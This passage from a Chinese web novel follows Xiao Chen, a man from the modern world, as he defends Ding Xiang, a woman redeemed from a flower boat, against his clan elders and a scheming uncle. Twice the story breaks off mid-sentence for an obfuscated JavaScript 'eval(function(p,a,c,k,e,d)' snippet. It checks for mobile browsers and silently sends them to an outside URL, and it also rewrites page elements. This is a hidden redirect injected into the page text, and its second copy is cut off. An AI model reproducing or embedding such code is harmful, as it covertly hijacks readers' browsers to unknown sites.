儿子迟疑道:“万一被肖晨发现了……” “发现又怎么样?”堂叔狠声道,“我们是为了肖家的名声,是为了清理门户,族老们只会站在我们这边!他肖晨总不能为了一个贱货,把所有族人都得罪光!” 窗外的天色阴沉下来,像是要下雨。堂叔躺在床上,摸着自己肿痛的脸颊,心里的恨意像野草一样疯长。他已经想好了,不管用什么手段,都要把丁香和肖晨一起拉下来,唯有这样,才能抚平他心里的怨气和屈辱。 而他不知道的是,这场精心策划的报复,只会让肖晨护得更紧,让那份本就坚定的情意,在风雨中越发牢不可破。 堂叔的儿子正愁没处打听丁香的过往,没想到刚在茶馆坐了没一会儿,就被王老爷的管家请了去。 王老爷是城里出了名的富商,为人精明,也爱凑些热闹。他端着茶杯,看着堂叔的儿子,慢悠悠地说:“听说你在查肖晨身边那个姓丁的姑娘?” 堂叔的儿子心里一惊,面上却陪着笑:“王老爷说笑了,我就是随便问问。” “别装了。”王老爷摆了摆手,眼里带着几分了然的笑意,“肖家祠堂那出戏,城里早就传开了。你爹被打成那样,你能咽下这口气?” 他呷了口茶,话锋一转:“说起来,我跟那姑娘还有点渊源。” 堂叔的儿子眼睛一亮,连忙追问:“王老爷您认识她?” “算不上认识,”王老爷回忆道,“前阵子我从花船老板手里把她买了回来,本想留在府里解闷,结果还没等我碰,肖晨就找上门了。” 他啧了一声,像是在感慨肖晨的疯狂:“那小子为了她,可真是下了血本——一万两白银,当场就拍在了桌上,把人赎走了。” 堂叔的儿子倒吸一口凉气:“一万两?就为了赎一个花船女子?” “不止呢。”王老爷笑了笑,“我当时故意刁难他,说这女子我看上了,除非他答应留下来给我管三年账房,我就放她走。你猜怎么着?” 他顿了顿,看着堂叔儿子震惊的表情,缓缓道:“那小子想都没想就答应了。为了一个女人,甘愿给我当三年伙计,这肖家少爷,算是栽在她手里了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16097175|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 堂叔的儿子听得心头剧跳,这可是天大的把柄!一万两赎身,还甘愿为奴三年,这不正说明丁香是个祸水,把肖晨迷得神魂颠倒,连祖宗家业都不顾了? “王老爷,您说的是真的?”他激动得声音都有些发颤。 “我还能骗你?”王老爷放下茶杯,“那一万两的银票,还是我亲手点的呢。不信你去问问当时在场的人,谁不知道这事。” 堂叔的儿子连忙起身作揖:“多谢王老爷告知!这份情,我们记下了!” “客气什么。”王老爷笑了笑,眼底却闪过一丝算计,“我也不是白告诉你——肖晨那小子傲气,以前没少给我脸色看。你们要是能让他吃点苦头,我乐见其成。” 堂叔的儿子心领神会,又说了几句客套话,便匆匆告辞。他一路快步往家赶,心里已经盘算好了——有了这些事,不愁扳不倒丁香,不愁报不了爹的仇! 而他不知道的是,王老爷看着他的背影,端起茶杯轻轻吹了吹,嘴角勾起一抹冷笑。这肖家的浑水,搅得越浑越好,他正好坐收渔利。 堂叔的儿子揣着这个“惊天秘密”,一路小跑回了家,刚进门就扯着嗓子喊:“爹!爹!我查到了!有大发现!” 堂叔正歪在榻上敷药,一听这话猛地坐起来,扯到伤口疼得龇牙咧嘴,却顾不上疼:“查到什么了?快说!” “那丁香,根本就是个能让肖晨疯魔的狐狸精!”堂叔的儿子喘着气,把王老爷的话添油加醋说了一遍,“王老爷说了,他前阵子刚从花船把人买下来,还没碰呢,肖晨就带着一万两白银找上门,硬生生把人赎走了!” “一万两?”堂叔眼睛瞪得溜圆,差点从榻上跳起来,“他疯了不成?为了个婊子花这么多钱?” “还有更疯的!”儿子压低声音,语气里带着兴奋,“王老爷故意刁难他,说要留下丁香也行,得让肖晨给他当三年账房伙计!您猜怎么着?肖晨答应了!为了那个女人,甘愿给人当牛做马!” 堂叔听得脸色一阵青一阵白,不是气的,是激动的。他拍着大腿,笑得嘴角的伤口都裂开了:“好!好啊!这就是铁证!我就说他怎么对那贱货死心塌地,原来是被迷昏了头,连祖宗家业都不顾了!” “爹,这下咱们有办法治他们了吧?”儿子搓着手,眼里闪着阴光。 “当然有!”堂叔冷笑一声,眼里的算计几乎要溢出来,“你想想,族老们最看重什么?是门风!是规矩!肖晨为了一个花船女子,挥霍万两白银,还甘愿给商贾为奴,这要是传到族老耳朵里,他肖晨还有脸在族里立足?” 他越说越得意:“到时候咱们再添把火,就说那丁香是故意勾着肖晨败家,是祸乱肖家的扫把星,族老们就算看在肖家祖宗的份上,也得逼着肖晨把人赶出去!” “那肖晨要是还护着她呢?”儿子有些担心。 “护?他护得住吗?”堂叔狠狠啐了一口,“挥霍家产、辱没门楣,这两条随便一条都够他喝一壶的!族规里写得明明白白,败家子要被剥夺族籍的!我看他还敢不敢犟!” 父子俩对视一眼,都从对方眼里看到了势在必得的狠劲。堂叔立刻吩咐:“快,备车!咱们现在就去找族老!这事得趁热打铁,让全族的人都知道肖晨是个什么样的糊涂虫!” 这边厢,两人气势汹汹地往族老府上赶;那边厢,肖晨正靠在床头,看着丁香给他缝补被扯破的锦袍。 阳光透过窗棂落在她手上,银针在布面上穿梭,她缝得格外认真,偶尔被针尖扎到手指,也只是悄悄吸口气,继续低头忙活。 “别缝了,让丫鬟做就行。”肖晨握住她的手,看着她指尖的小红点,心疼得紧。 “没事的。”丁香笑了笑,把手指藏到身后,“这袍子是你最喜欢的,我亲手缝才安心。” 肖晨看着她眼里的认真,心里软得一塌糊涂,刚想再说些什么,就见玉溪慌慌张张地跑进来:“少爷!不好了!堂叔带着族老们过来了,说是有要事找您,看那样子……来者不善啊!” 肖晨脸上的笑意瞬间敛去,眉头紧紧皱起。他看了眼丁香,见她脸色发白,伸手拍了拍她的手背,沉声道:“别怕,有我在。” 话音刚落,门外就传来堂叔尖利的嗓音:“肖晨!你给我出来!别躲在屋里护着那个祸水!” 紧接着,是几个苍老的声音附和,显然是族里的长辈到了。 丁香的手微微发抖,下意识地往肖晨身后缩了缩。肖晨扶着她的肩,让她站到自己身后,缓缓开口:“既然来了,就进来吧,何必在门外喧哗。” 门“吱呀”一声被推开,堂叔拄着拐杖,身后跟着三个须发皆白的族老,一个个脸色凝重,眼神不善地扫过屋里,最后落在肖晨身上。 族老们一进门,目光就像带着钩子,在屋里扫了一圈,最后落在肖晨身上,脸色沉得能滴出水来。 为首的大爷爷拄着龙头拐杖,往地上一顿,沉声道:“肖晨,你可知罪?” 肖晨靠在床头,后背的伤还在隐隐作痛,却挺直了脊背:“大爷爷何出此言?我不知自己犯了何罪。” “不知罪?”堂叔立刻跳出来,指着肖晨鼻子道,“你为了那个花船女子,挥霍万两白银,还甘愿给王老爷当三年账房伙计,这事全族都知道了!你对得起列祖列宗吗?对得起肖家的门楣吗?” 这话一出,三个族老的脸色更难看了。大爷爷盯着肖晨:“他说的可是真的?你真为了一个女子,花了一万两白银?还……还去给商贾为奴?” 在他们看来,商贾重利,地位远不如书香门第,肖晨身为肖家长子,竟屈身去给人当伙计,简直是奇耻大辱。 肖晨看了眼缩在身后、脸色发白的丁香,缓缓点头:“是真的。” “你!”大爷爷气得拐杖都抖了,“你疯了不成?一万两白银!那是肖家大半年的进项!你竟为了一个来路不明的女子……” “她不是来路不明的女子,她是我的妻子。”肖晨打断他,语气平静却坚定,“我为自己的妻子花钱,有何不妥?至于给王老爷做事,不过是权宜之计,我答应的是帮他打理账目,不是为奴,大爷爷明察。” “权宜之计?我看你是被迷昏了头!”二爷爷忍不住开口,“那女子从花船而来,本就不清不楚,你为了她,打长辈,败家产,如今还要让肖家跟着你蒙羞!” 丁香听得浑身发抖,攥着衣角的手一片冰凉。原来他们都知道了,那些最不堪的过往,终究还是成了刺向她的刀。 她刚想开口说什么,却被肖晨按住了手。他抬头看向族老们,声音不高,却字字清晰:“丁香的过往如何,我不在乎。我只知道,她如今是我肖晨的妻子,我护着她,天经地义。” “你还敢嘴硬!”大爷爷气得吹胡子瞪眼,“按族规,败家辱门者,当逐出族门!你若识相,就赶紧把那女子送走,再将一万两白银交还族里,我们或许还能从轻发落!” “不可能。”肖晨想也不想就拒绝,“银子是我自己的私产,如何处置是我的事。丁香是我的妻子,谁也别想让她走。” “反了!反了!”堂叔在一旁煽风点火,“大爷爷,您看看他!为了一个贱货,连族规都敢违抗!这种人留着,早晚毁了肖家!” “你闭嘴!”肖晨厉声喝止,若不是有伤在身,怕是又要冲上去。 大爷爷闭了闭眼,再睁开时,眼里已没了温度:“肖晨,看来你是铁了心要护着她。既然如此,休怪我们不念亲情。” 他转向身后的族老:“按族规,将肖晨暂且禁足于院中,不得与外人接触。至于那女子……” 他的目光落在丁香身上,像淬了冰:“先关进柴房,等查明她是否真如传言般祸乱家宅,再做处置!” “谁敢动她!”肖晨猛地坐直,后背的伤口裂开,鲜血瞬间浸透了衣衫,他却浑然不觉,死死盯着上前的家丁,“你们要是敢碰她一下,我拆了这肖家祠堂!” 家丁被他眼里的狠戾吓得不敢上前,僵在原地。 丁香看着他渗血的后背,心都揪紧了,她往前一步,挡在肖晨身前,对着族老们深深一拜:“各位爷爷,此事皆因我而起,与公子无关。若要罚,就罚我吧,求你们别为难他。” 她抬起头,眼里虽有恐惧,却透着一股韧劲:“我虽是从花船而来,却从未做过伤天害理之事。公子待我恩重如山,我绝不能让他因我受罚。我跟你们走。” “丁香!”肖晨想拉住她,却被家丁死死按住。 “公子,别为我犯险。”丁香回头看他,眼里含着泪,却笑了,“我等你。” 她被两个家丁架着往外走,脚步虽轻,却异常坚定。走到门口时,她忽然停下,转头看向堂叔,声音不大,却清晰地传到每个人耳中:“我虽出身微贱,却知感恩,懂廉耻。不像某些人,顶着长辈的名头,行的却是搬弄是非、落井下石的勾当。” 堂叔被噎得脸色铁青,指着她骂道:“你个贱蹄子!还敢顶嘴!” 丁香没再理他,跟着家丁一步步消失在院门外。 肖晨看着她的背影,喉咙里像堵了块石头,疼得说不出话。他猛地推开按住自己的家丁,想追出去,却一阵天旋地转,重重摔回床上,眼前一黑,晕了过去。 “肖晨!” “少爷!” 屋里顿时一片混乱。族老们看着晕过去的肖晨,又看看空荡荡的门口,脸色复杂。大爷爷叹了口气,挥了挥手:“先把他看好,等他醒了再说。” 一场风波暂时平息,却留下满地狼藉。柴房阴冷潮湿,丁香蜷缩在角落,望着窗外的月光,心里只有一个念头——她要等他,等他来接她,就像他每次都挡在她身前那样,这一次,她也要相信他。 而昏迷的肖晨,在梦里反复说着一句话:“别碰她……别碰她……” 56.你是我的妻子,并不是祸水 肖晨醒来时,已是深夜。 屋里静悄悄的,只有烛火在窗纸上投下晃动的光影。他动了动手指,后背的剧痛让他倒抽一口冷气,这才想起白日里的事——丁香被他们带走了,关去了柴房。 “丁香……”他哑着嗓子低唤,撑着身子想坐起来,却被守在床边的玉溪按住。 “少爷,您伤口裂了,大夫说您得静养!”玉溪红着眼眶,“您别急,少夫人她……” “她怎么了?”肖晨抓住她的手,指节泛白,“柴房是什么地方?她身子弱,怎么禁得住那寒气!” 他挣扎着要下床,玉溪急得直掉泪:“族老们派了人守着院子,您根本出不去啊!” 肖晨这才注意到,门外隐约有脚步声,显然是被监视了。他一拳砸在床板上,震得烛火乱晃,眼里满是戾气:“这群老东西!” 他知道族老们的心思,无非是想用丁香逼他就范。可他偏不,他宁愿被逐出家族,也绝不会让丁香受半分委屈。 “玉溪,”肖晨深吸一口气,强迫自己冷静下来,“你想办法去柴房看看丁香,给她送床厚被子,再带点吃的。告诉她,我很快就会救她出来,让她别怕。” 玉溪连忙点头:“奴婢这就去!” 她刚走到门口,又被肖晨叫住:“小心点,别被人发现。” “嗯!” 玉溪走后,肖晨靠在床头,望着窗外的月亮,脑子里飞速盘算着。硬闯肯定不行,他现在有伤在身,院里又有人看守。只能智取。 他想起李傲雪,她心思缜密,在族里也有些脸面,或许能帮上忙。可怎么把消息传出去? 正想着,就见窗纸被轻轻戳了个小洞,一根细竹管伸了进来。肖晨眼睛一亮,连忙接过竹管里的纸条,展开一看,是李傲雪的字迹:“勿急,已托人照看好丁香,今夜族老议事,我会寻机周旋。” 肖晨悬着的心稍稍放下,至少丁香此刻是安全的。 而柴房里,丁香正蜷缩在草堆上。地上又潮又冷,她拢了拢身上单薄的衣衫,忍不住打了个寒颤。可她没哭,只是望着柴房顶上的破洞,那里能看到一小片夜空,挂着几颗疏星。 肖晨会来的,她一遍遍告诉自己。就像每次遇到危险时那样,他总会像一道光,劈开所有黑暗找到她。 忽然,柴房的门被轻轻推开一条缝,一个黑影闪了进来,是李傲雪身边的大丫鬟。 “少夫人!”丫鬟压低声音,塞给她一个包裹,“这是少夫人让奴婢送来的,有棉被和点心。” 丁香打开包裹,摸到温热的糕点和厚实的棉被,眼眶一热:“替我谢谢少夫人。” “少夫人说,让您放心,少爷没事,很快就会来接您。”丫鬟又匆匆说了几句,叮嘱她保重,便悄悄退了出去。 丁香裹紧棉被,咬了一口糕点,是她爱吃的杏仁酥。甜味在舌尖散开,心里也暖了许多。她把耳朵贴在门上,仿佛能听到远处传来的脚步声,那是她等的人,正一步步向她走来。 祠堂里,族老们还在争论。堂叔在一旁煽风点火,非要严惩丁香,甚至提议将她卖到偏远之地。 李傲雪端着茶水进去,轻声道:“各位爷爷,夜深了,喝杯茶暖暖身子。” 她给族老们续上茶,状似无意地说:“其实依儿媳看,丁香姑娘虽出身特殊,却并非不明事理之人。她进府后,对我恭敬有加,对下人也宽厚,从未惹过是非。” “哼,那是她没露出狐狸尾巴!”堂叔冷哼。 “三叔公这话就偏颇了。”李傲雪微微一笑,“若她真是祸水,怎会甘愿替少爷受罚?今日在屋里,她可是主动站出来,说一切都与少爷无关呢。” 她看向大爷爷:“而且,王老爷那边的事,儿媳也略有耳闻。听说当时是王老爷故意刁难,少爷为了护着丁香,才不得不应下。这虽冲动,却也是重情重义之举,并非真要败家啊。” 大爷爷沉默着,手指敲击着桌面。另一位族老也叹了口气:“罢了,说到底也是家事。肖晨那孩子虽犟,却也不是不明事理的,或许……是我们逼得太紧了。” 堂叔急了:“四叔!您怎么……” “够了!”大爷爷打断他,“此事容后再议。夜深了,都散了吧。” 他起身时,看了李傲雪一眼,眼神复杂。李傲雪微微垂眸,心里却松了口气——至少今夜,丁香是安全的。 天光微亮时,肖晨终于等到了机会。他故意打翻药碗,趁看守的家丁进来收拾时,用藏好的发簪抵住自己的伤口:“让开!不然我现在就死在你们面前!” 家丁们吓得不敢动,肖晨趁机冲了出去。他后背的伤口再次裂开,鲜血染红了衣衫,却跑得飞快,目标只有一个——柴房。 当他踹开柴房门,看到蜷缩在棉被里的丁香时,紧绷的神经终于断了线。 “丁香!” 丁香猛地抬头,看到满身是血的肖晨,眼泪瞬间涌了出来:“公子!” 肖晨冲过去抱住她,力道大得像是要将她揉进骨血里,声音哽咽:“我来接你了。” 丁香看着肖晨背上渗出的血迹,染红了半边衣衫,心疼得声音发颤:“公子,你的伤……都裂开了!” 她想伸手碰,又怕弄疼他,只能红着眼眶哽咽:“你先回去处理伤口,我在这里没事的……” “说什么傻话。”肖晨握住她的手,掌心滚烫,“这点伤不要紧,最重要的是带你出去。堂叔和那些族老不会善罢甘休,留你在这里一刻,我就多一分担心。” 他扶着她起身,刚想往外走,就听到院外传来脚步声。肖晨立刻将丁香护在身后,警惕地望去,却见李傲雪扶着肖母走了进来。 肖母看着肖晨染血的衣衫,又看了看丁香,脸色复杂,终究是叹了口气。 “母亲。”肖晨声音紧绷,以为她是来押他们回去的。 李傲雪却先开了口,扶着肖母往前一步:“母亲,您看少爷现在这模样,若是再折腾下去,伤口怕是要恶化了。” 她转向肖母,语气恳切:“丁香姑娘虽是委屈,可眼下最重要的是少爷的身子。您向来疼少爷,总不能眼睁睁看着他这样硬撑。儿媳愿陪您一起去见族老们求情,求他们先放了丁香姑娘,有什么事,等少爷伤好了再说,行吗?” 肖母看着肖晨苍白的脸,又想起他为了护着丁香,连“要走就一起走”的话都说了出来,心里又气又疼。她知道儿子的性子,认定的事九头牛都拉不回,真把他逼急了,指不定会做出什么傻事。 “罢了。”肖母闭了闭眼,再睁开时,语气缓和了些,“我就去求一次。但丑话说在前头,若是族老们不松口,我也没办法。” 她看向丁香,眼神依旧带着疏离,却没了之前的尖锐:“你也跟我走,在族老面前好好认错,别再犟着,惹他们更生气。” 丁香连忙点头,屈膝行礼:“多谢老夫人,多谢少夫人。” 肖晨看着母亲和李傲雪,心里涌上一股暖流。他知道母亲能松口有多不易,想说句谢谢,话到嘴边却变成了:“娘,若是他们执意刁难……” “你闭嘴!”肖母打断他,“好好回房躺着,再敢乱动,我就不管你们的事了!” 话虽硬,语气里却藏着关切。李傲雪连忙打圆场:“少爷,您放心回去养伤,这里有我和母亲呢。” 她使了个眼色给玉溪,玉溪连忙上前扶住肖晨:“少爷,咱们回房吧。” 肖晨深深看了丁香一眼,眼里满是担忧。丁香回望着他,轻轻摇了摇头,示意他别担心。 看着肖晨被扶着走远,肖母才带着丁香,由李傲雪陪着,往族老们聚集的偏厅走去。 偏厅里,三位族老正端坐着喝茶,堂叔也在一旁,见肖母带着丁香进来,立刻阴阳怪气地笑道:“哟,这不是老嫂子吗?怎么把这祸水带来了?是想替她求情?” 肖母没理他,径直走到族老们面前,福了福身:“大爷爷,四叔,六叔,我来是想求各位看在肖晨重伤在身的份上,先放了丁香。” 大爷爷放下茶杯,眉头紧锁:“老嫂子,不是我们不给你面子,这事儿关乎肖家名声,不能轻易松口。” “我知道。”肖母叹了口气,“可肖晨那孩子,你们也知道,一根筋。昨天为了护着她,连‘要走就一起走’的话都说了,现在伤口裂了,躺在屋里气若游丝,若是再让他看见丁香还关着,指不定会做出什么傻事。” 她顿了顿,声音放软了些:“我就这一个儿子,他要是有个三长两短,我也活不成了。各位看在咱们几十年的情分上,先让丁香回去照顾他,等他伤好了,要罚要处置,我绝无二话,行吗?” 四叔动了恻隐之心,刚想开口,就被堂叔打断:“老嫂子这是说的什么话!肖晨变成这样,还不都是因为这个女人?放她回去,岂不是让她继续迷惑肖晨?” 他转向族老们:“大爷爷,四叔,六叔,可不能心软啊!这女人就是个狐狸精,放她出来,早晚是祸害!” 丁香往前一步,屈膝跪在地上,额头抵着冰凉的地面:“各位爷爷,老夫人,都是我的错。我不该惹老夫人生气,不该让公子为我犯险,更不该坏了肖家的规矩。若各位爷爷能消气,丁香甘愿受罚,只求能回去照顾公子,等他伤好了,我……我任凭处置。” 她声音哽咽,却字字恳切,没有半分辩解。 李傲雪也上前一步,柔声劝道:“各位爷爷,丁香姑娘已经认错了。她虽是出身特殊,却也是个懂感恩的。这些日子她照顾少爷,尽心尽力,少爷的身子能好得快些,也多亏了她。” 她看向大爷爷:“眼下少爷重伤,正是需要人贴身照料的时候,换了旁人,他未必安心。不如先让丁香回去,由儿媳盯着,绝不让她再生事端。等少爷伤愈,再召集族人商议,该怎么罚,怎么处置,到时候再定夺,可好?” 大爷爷沉默着,手指在茶碗边缘摩挲。他看向肖母,见她虽没说话,眼里却满是恳求;又看了看跪在地上、身形单薄的丁香,想起肖晨为了护她,连命都不顾的样子,终究是叹了口气。 “也罢。”大爷爷放下茶碗,“看在你母亲和傲雪的面子上,就先放你回去。但你要记住,在肖晨伤好之前,不得踏出他的院子半步,若敢再惹事,定不饶你!” 丁香连忙叩首:“谢大爷爷开恩!谢各位爷爷!” 堂叔急了:“大爷爷!这怎么行!” “住口!”大爷爷瞪了他一眼,“这里还轮不到你做主!” 堂叔被噎得满脸通红,却不敢再顶嘴。 肖母见事情成了,松了口气,对丁香道:“还不快起来,跟我回去。” 丁香站起身,跟着肖母和李傲雪往外走,路过堂叔身边时,她微微抬眼,正好对上他怨毒的目光,心里不由得一紧——她知道,这事还没完。 回到肖晨的院子,玉溪正急得团团转,见丁香回来了,连忙迎上去:“少夫人!您可回来了!少爷刚还在念叨您呢!” 丁香快步走进内室,肖晨正靠在床头,听到脚步声猛地抬头,看到她进来,眼里瞬间亮了,挣扎着要下床:“你回来了?他们没为难你吧?” “我没事。”丁香连忙上前按住他,眼眶微红,“老夫人和少夫人帮我求了情,族老们答应先放我回来。” 她替他掖了掖被角,轻声道:“你别担心,好好养伤,其他的事,等你好了再说。” 肖晨握住她的手,紧紧攥着,像是怕一松手她就会消失:“委屈你了。” “不委屈。”丁香摇摇头,笑了笑,“只要能在你身边,我什么都不怕。” 阳光透过窗纱照进来,落在两人交握的手上,暖融融的。李傲雪站在门外,看着屋里温馨的一幕,欣慰地笑了笑,转身悄然离开——她知道,这场风波虽未平息,但只要他们的心还在一起,就总有雨过天晴的一天。 而远处的角落里,堂叔的儿子正恨恨地盯着肖晨的院子,眼里闪着阴光。他转身跑向堂叔的住处,心里只有一个念头:这次不成,就再想别的办法,非要让他们付出代价不可。 肖晨握着丁香的手,指尖轻轻摩挲着她腕上的玉镯——那是他之前送她的,算不上名贵,却是他跑遍了城里的首饰铺才挑到的。 “等我伤好利索了,就该准备秋闱了。”他忽然开口,眼里闪着光,“我要是能考中秀才,就给你办一场像样的婚礼。” 丁香愣住了,抬眸望他,眼里满是不解。 “我知道,你现在进府,名不正言不顺,只能算……算妾室。”肖晨的声音低了些,带着歉意,“可我从没把你当妾室看。” 他看着她的眼睛,认真得像是在许诺一生:“等我考中了,就禀明族里,给你一个堂堂正正的名分。到时候,三媒六聘,凤冠霞帔,一样都不会少。还要补上一个像样的求婚——当初赎你回来时太匆忙,连句正经的‘嫁给我’都没说。” 丁香的心跳漏了一拍,眼眶瞬间就红了。她从没想过这些,能留在他身边,能被他护着,她已经觉得是天大的福气,从不敢奢求名分,更不敢想什么凤冠霞帔。 “公子……”她哽咽着,说不出完整的话。 “还有傲雪。”肖晨顿了顿,语气温和却坚定,“你别觉得委屈,也别觉得对不起她。在我心里,你和她是一样的。她是明媒正娶的妻,你是我认定的人,没有高低之分,只有我对你们的亏欠。” 他知道这话或许有些荒唐,在这个讲究嫡庶尊卑的世道,“一样”几乎是不可能的事。可他是真心这么想的——李傲雪温婉识大体,陪他走过了最初的沉闷岁月;而丁香,是照进他生命里的光,让他懂得了什么是不顾一切的牵挂。 丁香摇摇头,泪水却掉得更凶:“我不要什么名分,也不要和少夫人比……我只要能留在你身边,就够了。” 她怕他为了这句“一样”,又会惹来非议,怕李傲雪心里不好受,更怕自己真的贪心起来,会给所有人带来麻烦。 “傻丫头。”肖晨替她擦去眼泪,指腹带着薄茧,却格外轻柔,“这不是贪心,是你应得的。我既然把你留在身边,就该给你安稳,给你别人抢不走的底气。” 他握住她的手,按在自己心口:“等我考中了,就去跟娘说,跟族老说,哪怕他们再反对,我也要争。大不了……大不了我带着你和傲雪,搬出去住,咱们一家三口,过自己的小日子。” “一家三口?”丁香愣了愣。 “嗯。”肖晨笑了,眼底带着憧憬,“傲雪性子好,你也温顺,你们肯定能处得来。以后再生两个孩子,一个像你,一个像她……” 他越说越起劲,仿佛已经看到了那副景象。丁香听着,心里又暖又酸,原来在他心里,早已把她们都规划进了未来里。 “公子,”她轻声打断他,眼里闪着泪光,却带着笑意,“不管您能不能考中,不管有没有婚礼,丁香都信您。” 她不怕等,也不怕难,只要他心里有她这一席之地,就够了。 肖晨看着她含泪带笑的模样,心里软得一塌糊涂。他低头,在她额头印下一个轻柔的吻:“等着我。不出半年,我一定给你一个交代。” 而此刻正在窗外晾晒药材的李傲雪,听到屋里传来的低笑,嘴角也悄悄勾起一抹浅淡的笑意。她知道肖晨的性子,重情重诺,他说要给丁香一个交代,就一定会做到。 其实她从未在意过“正妻”的名分,只盼着身边的人都能安稳。若是真能如肖晨所说,三人安稳度日,倒也是桩美事。 肖晨望着窗外飘落的柳絮,指尖无意识地摩挲着茶盏边缘,忽然低低地开了口,像是在对丁香说,又像是在对自己剖白: “其实我第一次见你,是在花船上。你穿着素色的裙子,坐在窗边弹琴,指尖落在琴弦上,连窗外的月光都像是被你拢在了琴音里。” 他转头看她,眼里带着回忆的柔光:“那时候只觉得,这世上怎么会有把琴弹得这么干净的人。后来跟你聊诗,聊画,聊那些旁人不屑的风月琐事,才发现原来真有能懂自己的人。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16097176|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“那时候对你,真的只是知己,是朋友。”他苦笑了一下,“王老爷把你买走,我急得像热锅上的蚂蚁,砸锅卖铁凑了一万两去赎你,也只是想着,不能让你落在那种人手里。把你带回府,原是想给你找个安稳住处,让你避开那些龌龊,做回你自己。” 丁香静静地听着,手里攥着衣角,心里像被什么东西轻轻撞了一下。 “可我忘了,这世道容不得‘只是朋友’。”肖晨的声音沉了下去,带着几分无奈,“流言蜚语像刀子一样,一天天地割过来。他们说你是祸水,说我把你藏在府里是败坏门风,说你这样的女子,只配做玩物……” 他深吸一口气,眼底闪过一丝属于现代人的愤懑:“我是从另一个世界来的,知道女子不是男人的附庸,不是可以随意买卖的物件。可在这里,他们的唾沫星子就能淹死人,封建礼教能把一个好好的人嚼碎了吞下去。” “所以我娶你,一半是被逼的——不娶你,他们会把你拖去更不堪的地方;另一半,是我自己想明白了。”他握住她的手,掌心温热而坚定,“既然把你拉到了我身边,就不能让你独自面对这些。你成了我的女人,我就有保护你的责任,天经地义。” 丁香的眼眶慢慢红了,原来他娶她,并非全是情动,却比情动更让她心颤——那是明知前路荆棘,却还是伸手护住她的担当。 “他们总觉得,你这样出身的女子,就该低人一等,就该任人拿捏。”肖晨的语气里带着执拗,“可我偏要护着你,不让你受半分委屈。等我有能力了,有话语权了,我就要让所有人都知道,女子不是玩物,不管出身如何,都该被尊重,都该有自己的活法。” 他看着她,眼里的光亮得惊人:“或许现在我说这些,他们会笑我疯癫。但总有一天,我会做到。到那时候,没人再敢对你指手画脚,没人再敢拿你的过去说三道四。” 丁香望着他,忽然觉得那些曾经让她自卑的过往,那些让她抬不起头的流言,在他这番话里,好像都变得不那么重要了。她轻轻靠在他肩上,声音带着浓浓的鼻音:“我信你。” 不管是朋友,是知己,还是如今的夫妻,他总能给她旁人给不了的安稳。这就够了。 肖晨抬手搂住她,下巴抵着她的发顶。他知道这条路难走,封建礼教的枷锁比他想象中更沉重,可每次看到她眼里的信任,就觉得浑身都有了力气。 他是个现代人,却困在这古代的牢笼里,可正因如此,他才更要撕开一道缝,让光透进来——不光是为了她,也是为了这世道里所有像她一样,被轻视、被践踏的女子。 丁香被他这番剖白说得心头滚烫,却又忍不住忐忑,指尖绞着衣角,声音细若蚊蚋:“公子,那……那你现在对我,究竟是什么感情?” 她抬眼望他,眸子里盛着水光,带着孤注一掷的勇气:“从在花船上见你第一面起,我就……我就把心落在你身上了。这些日子,不管是当知己,还是做你的人,我对你的心,从来没变过,从始至终,都是爱你的。” 这番话她说得又快又急,说完便红了脸,低下头不敢再看他,耳尖却竖得高高的,生怕漏了一个字。 肖晨看着她羞赧又恳切的模样,心里像被温水泡过,软得一塌糊涂。他伸手抬起她的下巴,让她不得不直视自己的眼睛,语气是从未有过的认真: “娶你,确实有一半是被逼的,是为了护你周全。”他坦诚道,眼底却渐渐浮起温柔的笑意,“可动心,却是后来的事。” “什么时候?”丁香追问,睫毛颤得像风中的蝶翼。 “是我们有了夫妻之事后。”肖晨的声音低了些,带着几分缱绻,“看着你在我身边安睡,听着你为我缝补衣衫时的轻咳,摸着你为我上药时微微发颤的手……那时候才忽然明白,我对你早就不是朋友的情谊,也不是可怜你的处境。” 他握紧她的手,放在唇边轻轻吻了吻,掌心的温度烫得她心尖发颤:“我对你,是实打实的、想把你护在怀里疼着的爱。不是同情,不是责任,就是从心里往外冒的喜欢,想跟你过一辈子的那种。” 丁香的眼泪“啪嗒”一声掉下来,砸在他手背上,滚烫滚烫的。她盼这句话,盼了太久太久,从花船上的惊鸿一瞥,到柴房里的苦苦等待,再到此刻他掌心的温度,所有的委屈和不安,在这一刻都烟消云散。 “公子……”她哽咽着,说不出完整的话,只能一头扎进他怀里,紧紧抱住他,像是要把这些日子的思念和爱恋,都揉进这个拥抱里。 肖晨反手搂住她,后背的伤口被牵扯得有些疼,却比不上心里的甜。他低头在她发间蹭了蹭,低笑道:“哭什么,我这不是说了吗?现在、以后,眼里心里都是你。” “才没有哭。”丁香在他怀里摇着头,眼泪却流得更凶,“是……是太高兴了。” 她终于等到了这句“爱”,不是同情,不是责任,是和她一样的、发自内心的爱。 肖晨轻轻拍着她的背,任由她的眼泪浸湿自己的衣襟。窗外的阳光斜斜照进来,落在两人交缠的身影上,暖得像一团火。 他知道,过去的委屈无法抹去,未来的阻碍也不会消失,可只要此刻他们心意相通,这份爱就足以支撑着彼此,走过所有的沟沟坎坎。 “好了,再哭眼睛该肿了。”肖晨捏了捏她的脸颊,语气带着宠溺,“等我伤好,带你去吃城南的糖糕,补偿你。” 丁香吸了吸鼻子,从他怀里抬起头,眼里还挂着泪珠,却笑得像个孩子:“好。” 